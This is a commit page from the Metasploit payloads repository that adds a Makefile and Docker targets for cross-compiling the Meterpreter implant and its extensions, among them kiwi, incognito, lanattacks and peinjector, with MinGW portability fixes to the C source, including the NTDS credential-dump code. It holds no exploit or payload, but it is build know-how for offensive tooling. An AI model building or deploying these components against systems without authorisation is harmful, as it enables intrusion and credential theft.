1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

Land #405, Cross-compile Windows binaries on Linux

This commit is contained in:
Spencer McIntyre 2020-06-29 10:02:16 -04:00
commit c04196cab5
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
86 changed files with 10900 additions and 773 deletions

383
c/meterpreter/Makefile Normal file
View File

@ -0,0 +1,383 @@
ID := $(shell id -u)
DOCKER_CONTAINER=win-meterpreter-build
COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
COMMON_BUILD=--config Release
all: meterpreter
clean: meterpreter-x64-clean meterpreter-x86-clean
install:
@cp output/*.dll ../../../metasploit-framework/data/meterpreter
##########################################################################################
### Build all
##########################################################################################
meterpreter: meterpreter-x86 meterpreter-x64
meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
meterpreter-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86 $(COMMON_GEN_X86)
meterpreter-x86-build:
@cmake --build workspace/build/mingw-x86 $(COMMON_BUILD)
meterpreter-x86-clean:
@rm -rf workspace/build/mingw-x86* && rm -rf output/*.x86.dll
meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
meterpreter-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64 $(COMMON_GEN_X64)
meterpreter-x64-build:
@cmake --build workspace/build/mingw-x64 $(COMMON_BUILD)
meterpreter-x64-clean:
@rm -rf workspace/build/mingw-x64* && rm -rf output/*.x64.dll
##########################################################################################
### Component Builds
##########################################################################################
### Metsrv
meterpreter-metsrv: meterpreter-metsrv-x86 meterpreter-metsrv-x64
meterpreter-metsrv-x86: meterpreter-metsrv-x86-gen meterpreter-metsrv-x86-build
meterpreter-metsrv-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X86)
meterpreter-metsrv-x86-build:
@cmake --build workspace/build/mingw-x86-metsrv $(COMMON_BUILD)
meterpreter-metsrv-x64: meterpreter-metsrv-x64-gen meterpreter-metsrv-x64-build
meterpreter-metsrv-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X64)
meterpreter-metsrv-x64-build:
@cmake --build workspace/build/mingw-x64-metsrv $(COMMON_BUILD)
### Stdapi
meterpreter-ext-stdapi: meterpreter-ext-stdapi-x86 meterpreter-ext-stdapi-x64
meterpreter-ext-stdapi-x86: meterpreter-ext-stdapi-x86-gen meterpreter-ext-stdapi-x86-build
meterpreter-ext-stdapi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X86)
meterpreter-ext-stdapi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-stdapi $(COMMON_BUILD)
meterpreter-ext-stdapi-x64: meterpreter-ext-stdapi-x64-gen meterpreter-ext-stdapi-x64-build
meterpreter-ext-stdapi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X64)
meterpreter-ext-stdapi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-stdapi $(COMMON_BUILD)
### Priv
meterpreter-ext-priv: meterpreter-ext-priv-x86 meterpreter-ext-priv-x64
meterpreter-ext-priv-x86: meterpreter-ext-priv-x86-gen meterpreter-ext-priv-x86-build
meterpreter-ext-priv-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X86)
meterpreter-ext-priv-x86-build:
@cmake --build workspace/build/mingw-x86-ext-priv $(COMMON_BUILD)
meterpreter-ext-priv-x64: meterpreter-ext-priv-x64-gen meterpreter-ext-priv-x64-build
meterpreter-ext-priv-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X64)
meterpreter-ext-priv-x64-build:
@cmake --build workspace/build/mingw-x64-ext-priv $(COMMON_BUILD)
### Extapi
meterpreter-ext-extapi: meterpreter-ext-extapi-x86 meterpreter-ext-extapi-x64
meterpreter-ext-extapi-x86: meterpreter-ext-extapi-x86-gen meterpreter-ext-extapi-x86-build
meterpreter-ext-extapi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X86)
meterpreter-ext-extapi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-extapi $(COMMON_BUILD)
meterpreter-ext-extapi-x64: meterpreter-ext-extapi-x64-gen meterpreter-ext-extapi-x64-build
meterpreter-ext-extapi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X64)
meterpreter-ext-extapi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-extapi $(COMMON_BUILD)
### Incognito
meterpreter-ext-incognito: meterpreter-ext-incognito-x86 meterpreter-ext-incognito-x64
meterpreter-ext-incognito-x86: meterpreter-ext-incognito-x86-gen meterpreter-ext-incognito-x86-build
meterpreter-ext-incognito-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X86)
meterpreter-ext-incognito-x86-build:
@cmake --build workspace/build/mingw-x86-ext-incognito $(COMMON_BUILD)
meterpreter-ext-incognito-x64: meterpreter-ext-incognito-x64-gen meterpreter-ext-incognito-x64-build
meterpreter-ext-incognito-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X64)
meterpreter-ext-incognito-x64-build:
@cmake --build workspace/build/mingw-x64-ext-incognito $(COMMON_BUILD)
### LanAttacks
meterpreter-ext-lanattacks: meterpreter-ext-lanattacks-x86 meterpreter-ext-lanattacks-x64
meterpreter-ext-lanattacks-x86: meterpreter-ext-lanattacks-x86-gen meterpreter-ext-lanattacks-x86-build
meterpreter-ext-lanattacks-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X86)
meterpreter-ext-lanattacks-x86-build:
@cmake --build workspace/build/mingw-x86-ext-lanattacks $(COMMON_BUILD)
meterpreter-ext-lanattacks-x64: meterpreter-ext-lanattacks-x64-gen meterpreter-ext-lanattacks-x64-build
meterpreter-ext-lanattacks-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X64)
meterpreter-ext-lanattacks-x64-build:
@cmake --build workspace/build/mingw-x64-ext-lanattacks $(COMMON_BUILD)
### WinPMem
meterpreter-ext-winpmem: meterpreter-ext-winpmem-x86 meterpreter-ext-winpmem-x64
meterpreter-ext-winpmem-x86: meterpreter-ext-winpmem-x86-gen meterpreter-ext-winpmem-x86-build
meterpreter-ext-winpmem-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X86)
meterpreter-ext-winpmem-x86-build:
@cmake --build workspace/build/mingw-x86-ext-winpmem $(COMMON_BUILD)
meterpreter-ext-winpmem-x64: meterpreter-ext-winpmem-x64-gen meterpreter-ext-winpmem-x64-build
meterpreter-ext-winpmem-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X64)
meterpreter-ext-winpmem-x64-build:
@cmake --build workspace/build/mingw-x64-ext-winpmem $(COMMON_BUILD)
### Espia
meterpreter-ext-espia: meterpreter-ext-espia-x86 meterpreter-ext-espia-x64
meterpreter-ext-espia-x86: meterpreter-ext-espia-x86-gen meterpreter-ext-espia-x86-build
meterpreter-ext-espia-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X86)
meterpreter-ext-espia-x86-build:
@cmake --build workspace/build/mingw-x86-ext-espia $(COMMON_BUILD)
meterpreter-ext-espia-x64: meterpreter-ext-espia-x64-gen meterpreter-ext-espia-x64-build
meterpreter-ext-espia-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X64)
meterpreter-ext-espia-x64-build:
@cmake --build workspace/build/mingw-x64-ext-espia $(COMMON_BUILD)
### Unhook
meterpreter-ext-unhook: meterpreter-ext-unhook-x86 meterpreter-ext-unhook-x64
meterpreter-ext-unhook-x86: meterpreter-ext-unhook-x86-gen meterpreter-ext-unhook-x86-build
meterpreter-ext-unhook-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X86)
meterpreter-ext-unhook-x86-build:
@cmake --build workspace/build/mingw-x86-ext-unhook $(COMMON_BUILD)
meterpreter-ext-unhook-x64: meterpreter-ext-unhook-x64-gen meterpreter-ext-unhook-x64-build
meterpreter-ext-unhook-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X64)
meterpreter-ext-unhook-x64-build:
@cmake --build workspace/build/mingw-x64-ext-unhook $(COMMON_BUILD)
### Kiwi
meterpreter-ext-kiwi: meterpreter-ext-kiwi-x86 meterpreter-ext-kiwi-x64
meterpreter-ext-kiwi-x86: meterpreter-ext-kiwi-x86-gen meterpreter-ext-kiwi-x86-build
meterpreter-ext-kiwi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X86)
meterpreter-ext-kiwi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-kiwi $(COMMON_BUILD)
meterpreter-ext-kiwi-x64: meterpreter-ext-kiwi-x64-gen meterpreter-ext-kiwi-x64-build
meterpreter-ext-kiwi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X64)
meterpreter-ext-kiwi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-kiwi $(COMMON_BUILD)
### PeInjector
meterpreter-ext-peinjector: meterpreter-ext-peinjector-x86 meterpreter-ext-peinjector-x64
meterpreter-ext-peinjector-x86: meterpreter-ext-peinjector-x86-gen meterpreter-ext-peinjector-x86-build
meterpreter-ext-peinjector-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X86)
meterpreter-ext-peinjector-x86-build:
@cmake --build workspace/build/mingw-x86-ext-peinjector $(COMMON_BUILD)
meterpreter-ext-peinjector-x64: meterpreter-ext-peinjector-x64-gen meterpreter-ext-peinjector-x64-build
meterpreter-ext-peinjector-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X64)
meterpreter-ext-peinjector-x64-build:
@cmake --build workspace/build/mingw-x64-ext-peinjector $(COMMON_BUILD)
##########################################################################################
### Container-based Builds
##########################################################################################
docker:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make
docker-container:
@docker build ../../docker -t $(DOCKER_CONTAINER)
docker-shell:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) bash
docker-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x64
docker-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x86
docker-metsrv:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv
docker-metsrv-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86
docker-metsrv-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64
docker-ext-stdapi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi
docker-ext-stdapi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86
docker-ext-stdapi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64
docker-ext-priv:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv
docker-ext-priv-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86
docker-ext-priv-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64
docker-ext-extapi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi
docker-ext-extapi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86
docker-ext-extapi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64
docker-ext-incognito:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito
docker-ext-incognito-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86
docker-ext-incognito-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64
docker-ext-espia:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia
docker-ext-espia-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86
docker-ext-espia-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64
docker-ext-lanattacks:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks
docker-ext-lanattacks-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86
docker-ext-lanattacks-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64
docker-ext-unhook:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook
docker-ext-unhook-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86
docker-ext-unhook-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64
docker-ext-winpmem:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem
docker-ext-winpmem-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86
docker-ext-winpmem-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64
docker-ext-kiwi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi
docker-ext-kiwi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86
docker-ext-kiwi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64
docker-ext-peinjector:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector
docker-ext-peinjector-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86
docker-ext-peinjector-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64

View File

@ -110,6 +110,7 @@ GOTO END
:CLEAN :CLEAN
IF EXIST "output\" ( IF EXIST "output\" (
del output\ /S /Q del output\ /S /Q
del workspace\build\ /S /Q
) )
GOTO END GOTO END

@ -1 +1 @@
Subproject commit 166b946fbe4346d69ae7f10de5cc110b98c36cee Subproject commit 49dfcb65d60bfb859a7dffac2334bf19ceaa085b

View File

@ -29,6 +29,22 @@
#define dwMeterpreterArch PROCESS_ARCH_X86 #define dwMeterpreterArch PROCESS_ARCH_X86
#endif #endif
#ifdef __MINGW32__
#define ERROR_DBG_TERMINATE_THREAD 691L
#define ERROR_UNHANDLED_EXCEPTION 574L
#define ERROR_UNSUPPORTED_COMPRESSION 618L
#define ERROR_NOT_CAPABLE 775L
#define ERROR_NOTHING_TO_TERMINATE 778L
#define __try
#define __except(x) if(0)
#undef GetExceptionCode
#define GetExceptionCode() 0
#undef GetExceptionInformation
#define GetExceptionInformation() NULL
#endif
typedef struct __UNICODE_STRING typedef struct __UNICODE_STRING
{ {
USHORT Length; USHORT Length;

View File

@ -29,15 +29,15 @@ typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
typedef DWORD(*PTransportGetConfigSize)(Transport* transport); typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport); typedef DWORD(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport); typedef DWORD(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);

View File

@ -13,7 +13,8 @@ typedef struct _EVENT
#define THREADCALL __stdcall #define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread); typedef struct _THREAD THREAD, *LPTHREAD;
typedef DWORD (THREADCALL * THREADFUNK)(LPTHREAD thread);
struct _THREAD struct _THREAD
{ {
@ -26,6 +27,5 @@ struct _THREAD
LPVOID parameter3; LPVOID parameter3;
}; };
typedef struct _THREAD THREAD, * LPTHREAD;
#endif #endif

View File

@ -1,3 +1,3 @@
NAME server.dll NAME server.dll
EXPORTS EXPORTS
ReflectiveLoader @1 NONAME PRIVATE ReflectiveLoader @1 NONAME PRIVATE

View File

@ -6,21 +6,19 @@
extern "C" { extern "C" {
#include "extapi.h" #include "extapi.h"
#include "common_metapi.h" #include "common_metapi.h"
#include <Iads.h> #include <iads.h>
#include <Adshlp.h> #include <adshlp.h>
#include <AdsErr.h> #include <adserr.h>
#include "adsi_interface.h" #include "adsi_interface.h"
} }
#pragma comment(lib, "Activeds.lib")
#define VALUE_SIZE 1024 #define VALUE_SIZE 1024
#define PATH_SIZE 256 #define PATH_SIZE 256
typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr); typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr);
/*! @brief The GUID of the Directory Search COM object. */ /*! @brief The GUID of the Directory Search COM object. */
static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } }; extern const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL; static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL;
static HMODULE hAdvapi32 = NULL; static HMODULE hAdvapi32 = NULL;

View File

@ -10,7 +10,11 @@ extern "C" {
#include "extapi.h" #include "extapi.h"
#include "clipboard_image.h" #include "clipboard_image.h"
} }
#include <GdiPlus.h> #include <gdiplus.h>
#ifndef max
#define max(x,y) ((x)>(y)?(x):(y))
#endif
/*! /*!
* @brief Get the Class ID of an encoder which supports encoding to the specified MIME type. * @brief Get the Class ID of an encoder which supports encoding to the specified MIME type.
@ -214,4 +218,4 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit
return dwResult; return dwResult;
} }
} }

View File

@ -7,6 +7,8 @@
#include "../../common/common.h" #include "../../common/common.h"
#define JET_VERSION 0x0600
#define TLV_TYPE_EXTENSION_EXTAPI 0 #define TLV_TYPE_EXTENSION_EXTAPI 0
#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1) #define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1)

View File

@ -5,10 +5,8 @@
#include "extapi.h" #include "extapi.h"
#include "common_metapi.h" #include "common_metapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h> #include <inttypes.h>
#include <WinCrypt.h> #include <wincrypt.h>
#include "syskey.h" #include "syskey.h"
#include "ntds_decrypt.h" #include "ntds_decrypt.h"
#include "ntds_jet.h" #include "ntds_jet.h"

View File

@ -4,10 +4,8 @@
*/ */
#include "extapi.h" #include "extapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h> #include <inttypes.h>
#include <WinCrypt.h> #include <wincrypt.h>
#include "syskey.h" #include "syskey.h"
#include "ntds_decrypt.h" #include "ntds_decrypt.h"
#include "ntds_jet.h" #include "ntds_jet.h"

View File

@ -5,15 +5,34 @@
#include "extapi.h" #include "extapi.h"
#include "common_metapi.h" #include "common_metapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h> #include <inttypes.h>
#include <WinCrypt.h> #include <wincrypt.h>
#include "syskey.h" #include "syskey.h"
#include "ntds_decrypt.h" #include "ntds_decrypt.h"
#include "ntds_jet.h" #include "ntds_jet.h"
#include "ntds.h" #include "ntds.h"
#ifdef __MINGW32__
typedef JET_ERR (JET_API*PJetGetTableColumnInfo)(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel);
#endif
JET_ERR JET_API InternalJetGetTableColumnInfo(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel)
{
#ifdef __MINGW32__
// This function does exist in the x64 version of mingw's compiler.
// Doesn't live in the x86 version, and I have no idea why. So add
// a dynamic invocation to cover for it at runtime.
static PJetGetTableColumnInfo pFunc = NULL;
if (pFunc == NULL)
{
pFunc = (PJetGetTableColumnInfo)GetProcAddress(LoadLibraryA("esent.dll"), "JetGetTableColumnInfo");
}
return pFunc(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
#else
return JetGetTableColumnInfo(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
#endif
}
/*! /*!
* @brief Shuts down the Jet Instance and frees the jetState struct. * @brief Shuts down the Jet Instance and frees the jetState struct.
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance. * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
@ -128,7 +147,7 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
}; };
int countColumns = sizeof(columns) / sizeof(columns[0]); int countColumns = sizeof(columns) / sizeof(columns[0]);
for (int i = 0; i < countColumns; i++) { for (int i = 0; i < countColumns; i++) {
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo); columnError = InternalJetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
if (columnError != JET_errSuccess) { if (columnError != JET_errSuccess) {
return columnError; return columnError;
} }

View File

@ -6,7 +6,7 @@
#include "service.h" #include "service.h"
#include "common_metapi.h" #include "common_metapi.h"
#include <Sddl.h> #include <sddl.h>
/*! @brief The possible list of operations to perform on a service */ /*! @brief The possible list of operations to perform on a service */
typedef enum _ServiceOperation typedef enum _ServiceOperation

View File

@ -4,10 +4,8 @@
*/ */
#include "extapi.h" #include "extapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h> #include <inttypes.h>
#include <WinCrypt.h> #include <wincrypt.h>
#include "syskey.h" #include "syskey.h"
#include "ntds_decrypt.h" #include "ntds_decrypt.h"
#include "ntds_jet.h" #include "ntds_jet.h"

View File

@ -9,13 +9,10 @@ extern "C" {
#include <inttypes.h> #include <inttypes.h>
#include "wmi_interface.h" #include "wmi_interface.h"
} }
#include <WbemCli.h> #include <wbemcli.h>
#include <comutil.h> #include <comutil.h>
#include <comdef.h> #include <comdef.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "comsuppw.lib")
#define FIELD_SIZE 1024 #define FIELD_SIZE 1024
#define ENUM_TIMEOUT 5000 #define ENUM_TIMEOUT 5000
@ -27,6 +24,76 @@ extern "C" {
#define SYSTEM_FIELD_COUNT 8 #define SYSTEM_FIELD_COUNT 8
#endif #endif
#ifdef __MINGW32__
// Provide custom implmentations of the BSTR conversion
// functions because comsuppw.lib is a proprietary lib
// that comes with Vis Studio
namespace _com_util
{
inline BSTR ConvertStringToBSTR(const char* pSrc)
{
if(!pSrc)
{
return NULL;
}
DWORD cwch;
BSTR wsOut(NULL);
if(cwch = ::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, NULL, 0))
{
cwch--;
